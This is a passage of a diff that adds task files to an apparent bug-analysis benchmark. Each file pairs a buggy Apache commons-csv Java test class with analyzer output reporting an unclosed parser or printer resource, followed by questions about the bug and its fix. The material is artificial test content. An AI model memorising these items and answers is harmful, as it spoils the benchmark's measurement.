+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        final String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" /\" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',').withQuoteChar('\'')
+                               .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parseString(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Records do not match expected result", res, records);
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        final String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',')
+                .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parseString(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("", res, records);
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+        final String code = ""
+                + "a,b#\n"           // 1)
+                + "\"\n\",\" \",#\n"   // 2)
+                + "#,\"\"\n"         // 3)
+                + "# Final comment\n"// 4)
+                ;
+        final String[][] res = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+                {"#", ""},
+                {"# Final comment"}
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertFalse(format.isCommentingEnabled());
+
+        CSVParser parser = CSVParser.parseString(code, format);
+        List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Failed to parse without comments", res, records);
+
+        final String[][] res_comments = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = CSVParser.parseString(code, format);
+        records = parser.getRecords();
+
+        Utils.compare("Failed to parse with comments", res_comments, records);
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        final String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test(expected = NoSuchElementException.class)
+    public void testClose() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+        final CSVParser parser = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in);
+        final Iterator<CSVRecord> records = parser.iterator();
+        assertTrue(records.hasNext());
+        parser.close();
+        assertFalse(records.hasNext());
+        records.next();
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        final String code = "foo\rbaar,\rhello,world\r,kanu";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        final String code = "foo\nbaar,\nhello,world\n,kanu";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        final String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        final CSVParser parser = CSVParser.parseString(code, CSVFormat.DEFAULT);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(3, records.size());
+    }
+
+    @Test
+    public void testForEach() throws Exception {
+        final List<CSVRecord> records = new ArrayList<CSVRecord>();
+
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+
+        assertEquals(3, records.size());
+        assertArrayEquals(new String[]{"a", "b", "c"}, records.get(0).values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, records.get(1).values());
+        assertArrayEquals(new String[]{"x", "y", "z"}, records.get(2).values());
+    }
+
+    @Test
+    public void testRoundtrip() throws Exception {
+        final StringWriter out = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(out, CSVFormat.DEFAULT);
+        final String input = "a,b,c\r\n1,2,3\r\nx,y,z\r\n";
+        for (final CSVRecord record : CSVParser.parseString(input, CSVFormat.DEFAULT)) {
+            printer.printRecord(record);
+        }
+        assertEquals(input, out.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testIterator() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (final UnsupportedOperationException expected) {
+            // expected
+        }
+        assertArrayEquals(new String[]{"a", "b", "c"}, iterator.next().values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, iterator.next().values());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertArrayEquals(new String[]{"x", "y", "z"}, iterator.next().values());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (final NoSuchElementException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testSkipSetHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("a", "b", "c").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testSkipAutoHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+        final CSVRecord record = records.next();
+        assertEquals("1", record.get("a"));
+        assertEquals("2", record.get("b"));
+        assertEquals("3", record.get("c"));
+    }
+
+    @Test
+    public void testHeaderComment() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("A"));
+            assertTrue(record.isMapped("B"));
+            assertTrue(record.isMapped("C"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeaderAuto() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("a"));
+            assertTrue(record.isMapped("b"));
+            assertTrue(record.isMapped("c"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testMappedButNotSetAsOutlook2007ContactExport() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2\nx,y,z");
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").withSkipHeaderRecord(true)
+                .parse(in).iterator();
+        CSVRecord record;
+
+        // 1st record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertFalse(record.isSet("C"));
+        assertEquals("1", record.get("A"));
+        assertEquals("2", record.get("B"));
+        assertFalse(record.isConsistent());
+
+        // 2nd record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("x", record.get("A"));
+        assertEquals("y", record.get("B"));
+        assertEquals("z", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetHeaderMap() throws Exception {
+        final CSVParser parser = CSVParser.parseString("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT.withHeader("A", "B", "C"));
+        final Map<String, Integer> headerMap = parser.getHeaderMap();
+        final Iterator<String> columnNames = headerMap.keySet().iterator();
+        // Headers are iterated in column order.
+        Assert.assertEquals("A", columnNames.next());
+        Assert.assertEquals("B", columnNames.next());
+        Assert.assertEquals("C", columnNames.next());
+        final Iterator<CSVRecord> records = parser.iterator();
+
+        // Parse to make sure getHeaderMap did not have a side-effect.
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetLineNumberWithLF() throws Exception {
+        this.validateLineNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetLineNumberWithCRLF() throws Exception {
+        this.validateLineNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetLineNumberWithCR() throws Exception {
+        this.validateLineNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetRecordNumberWithLF() throws Exception {
+        this.validateRecordNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecordWithMultiiLineValues() throws Exception {
+        final CSVParser parser = CSVParser.parseString("\"a\r\n1\",\"a\r\n2\"" + CRLF + "\"b\r\n1\",\"b\r\n2\"" + CRLF + "\"c\r\n1\",\"c\r\n2\"",
+                CSVFormat.DEFAULT.withRecordSeparator(CRLF));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, parser.getCurrentLineNumber());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(6, parser.getCurrentLineNumber());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    @Test
+    public void testGetRecordNumberWithCRLF() throws Exception {
+        this.validateRecordNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetRecordNumberWithCR() throws Exception {
+        this.validateRecordNumbers(String.valueOf(CR));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVParser((Reader) null, invalidFormat).close();
+    }
+
+    private void validateRecordNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parseString("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    private void validateLineNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = CSVParser.parseString("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(1, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `parseString(...)` at line 346 is not released after line 347.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testBackslashEscaping2()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testBackslashEscaping2():void.d5cd32cf6dbf5de216d833176fc2b395
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testBackslashEscaping2|RESOURCE_LEAK
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+e09bf3a51ff3f196ec365bcaeeca3140
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6498/instruction.md b/inferredbugs-6498/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..655f734773460024d32881d47faf430b8dc63166
--- /dev/null
+++ b/inferredbugs-6498/instruction.md
@@ -0,0 +1,400 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 55
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.junit.Assert.assertEquals;
+
+import java.io.IOException;
+import java.io.StringWriter;
+import java.sql.Connection;
+import java.sql.DriverManager;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Random;
+
+import org.junit.Test;
+
+/**
+ * 
+ * 
+ * @version $Id$
+ */
+public class CSVPrinterTest {
+
+    public static String printable(final String s) {
+        final StringBuilder sb = new StringBuilder();
+        for (int i = 0; i < s.length(); i++) {
+            final char ch = s.charAt(i);
+            if (ch <= ' ' || ch >= 128) {
+                sb.append("(").append((int) ch).append(")");
+            } else {
+                sb.append(ch);
+            }
+        }
+        return sb.toString();
+    }
+
+    String recordSeparator = CSVFormat.DEFAULT.getRecordSeparator();
+
+    public void doOneRandom(final CSVFormat format) throws Exception {
+        final Random r = new Random();
+
+        final int nLines = r.nextInt(4) + 1;
+        final int nCol = r.nextInt(3) + 1;
+        // nLines=1;nCol=2;
+        final String[][] lines = new String[nLines][];
+        for (int i = 0; i < nLines; i++) {
+            final String[] line = new String[nCol];
+            lines[i] = line;
+            for (int j = 0; j < nCol; j++) {
+                line[j] = randStr();
+            }
+        }
+
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, format);
+
+        for (int i = 0; i < nLines; i++) {
+            // for (int j=0; j<lines[i].length; j++) System.out.println("### VALUE=:" + printable(lines[i][j]));
+            printer.printRecord((Object[])lines[i]);
+        }
+
+        printer.flush();
+        printer.close();
+        final String result = sw.toString();
+        // System.out.println("### :" + printable(result));
+
+        final CSVParser parser = new CSVParser(result, format);
+        final List<CSVRecord> parseResult = parser.getRecords();
+
+        Utils.compare("Printer output :" + printable(result), lines, parseResult);
+    }
+
+    public void doRandom(final CSVFormat format, final int iter) throws Exception {
+        for (int i = 0; i < iter; i++) {
+            doOneRandom(format);
+        }
+    }
+
+    public String randStr() {
+        final Random r = new Random();
+
+        final int sz = r.nextInt(20);
+        // sz = r.nextInt(3);
+        final char[] buf = new char[sz];
+        for (int i = 0; i < sz; i++) {
+            // stick in special chars with greater frequency
+            char ch;
+            final int what = r.nextInt(20);
+            switch (what) {
+                case 0:
+                    ch = '\r';
+                    break;
+                case 1:
+                    ch = '\n';
+                    break;
+                case 2:
+                    ch = '\t';
+                    break;
+                case 3:
+                    ch = '\f';
+                    break;
+                case 4:
+                    ch = ' ';
+                    break;
+                case 5:
+                    ch = ',';
+                    break;
+                case 6:
+                    ch = '"';
+                    break;
+                case 7:
+                    ch = '\'';
+                    break;
+                case 8:
+                    ch = '\\';
+                    break;
+                default:
+                    ch = (char) r.nextInt(300);
+                    break;
+                // default: ch = 'a'; break;
+            }
+            buf[i] = ch;
+        }
+        return new String(buf);
+    }
+
+    @Test
+    public void testDisabledComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printComment("This is a comment");
+
+        assertEquals("", sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllArrayOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(new List[] { Arrays.asList(new String[] { "r1c1", "r1c2" }), Arrays.asList(new String[] { "r2c1", "r2c2" }) });
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfArrays() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new String[][] { { "r1c1", "r1c2" }, { "r2c1", "r2c2" } }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrintAllIterableOfLists() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecords(Arrays.asList(new List[] { Arrays.asList(new String[] { "r1c1", "r1c2" }),
+                Arrays.asList(new String[] { "r2c1", "r2c2" }) }));
+        assertEquals("r1c1,r1c2" + recordSeparator + "r2c1,r2c2" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testExcelPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.EXCEL);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testJdbcPrinter() throws IOException, ClassNotFoundException, SQLException {
+        final StringWriter sw = new StringWriter();
+        Class.forName("org.h2.Driver");
+        final Connection connection = DriverManager.getConnection("jdbc:h2:mem:my_test;", "sa", "");
+        try {
+            final Statement stmt = connection.createStatement();
+            stmt.execute("CREATE TABLE TEST(ID INT PRIMARY KEY, NAME VARCHAR(255))");
+            stmt.execute("insert into TEST values(1, 'r1')");
+            stmt.execute("insert into TEST values(2, 'r2')");
+            final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+            printer.printRecords(stmt.executeQuery("select ID, NAME from TEST"));
+            assertEquals("1,r1" + recordSeparator + "2,r2" + recordSeparator, sw.toString());
+        } finally {
+            connection.close();
+        }
+    }
+
+    @Test
+    public void testMultiLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withCommentStart('#').build());
+        printer.printComment("This is a comment\non multiple lines");
+
+        assertEquals("# This is a comment" + recordSeparator + "# on multiple lines" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter1() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b");
+        assertEquals("a,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter2() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a,b", "b");
+        assertEquals("\"a,b\",b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter3() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a, b", "b ");
+        assertEquals("\"a, b\",\"b \"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter4() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\"c");
+        assertEquals("a,\"b\"\"c\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter5() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\nc");
+        assertEquals("a,\"b\nc\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter6() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\r\nc");
+        assertEquals("a,\"b\r\nc\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrinter7() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", "b\\c");
+        assertEquals("a,b\\c" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testPrintNullValues() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.DEFAULT);
+        printer.printRecord("a", null, "b");
+        assertEquals("a,,b" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testQuoteAll() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withQuotePolicy(Quote.ALL).build());
+        printer.printRecord("a", "b\nc", "d");
+        assertEquals("\"a\",\"b\nc\",\"d\"" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testQuoteNonNumeric() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withQuotePolicy(Quote.NON_NUMERIC).build());
+        printer.printRecord("a", "b\nc", Integer.valueOf(1));
+        assertEquals("\"a\",\"b\nc\",1" + recordSeparator, sw.toString());
+    }
+
+    @Test
+    public void testRandom() throws Exception {
+        final int iter = 10000;
+        doRandom(CSVFormat.DEFAULT, iter);
+        doRandom(CSVFormat.EXCEL, iter);
+        doRandom(CSVFormat.MYSQL, iter);
+    }
+
+    @Test
+    public void testSingleLineComment() throws IOException {
+        final StringWriter sw = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(sw, CSVFormat.newBuilder().withCommentStart('#').build());
+        printer.printComment("This is a comment");
+
+        assertEquals("# This is a comment" + recordSeparator, sw.toString());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.CSVPrinter` acquired to `printer` by call to `new()` at line 189 is not released after line 190.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVPrinterTest.testExcelPrinter1()
+
+### Procedure Id:
+org.apache.commons.csv.CSVPrinterTest.testExcelPrinter1():void.99f61c68cd8cb1745b3fa4a6f4891838
+
+### File:
+src/test/java/org/apache/commons/csv/CSVPrinterTest.java
+
+### Key:
+CSVPrinterTest.java|testExcelPrinter1|RESOURCE_LEAK
+
+### Node Key:
+0fb8a1c0ca4d50e67c93620b0e0bccf7
+
+### Hash:
+73fb78f9de94a1fb0048bcce5030ed48
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6499/instruction.md b/inferredbugs-6499/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..aee77e9f3487527243f3d3dfc8c914e7633bafab
--- /dev/null
+++ b/inferredbugs-6499/instruction.md
@@ -0,0 +1,576 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 137
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
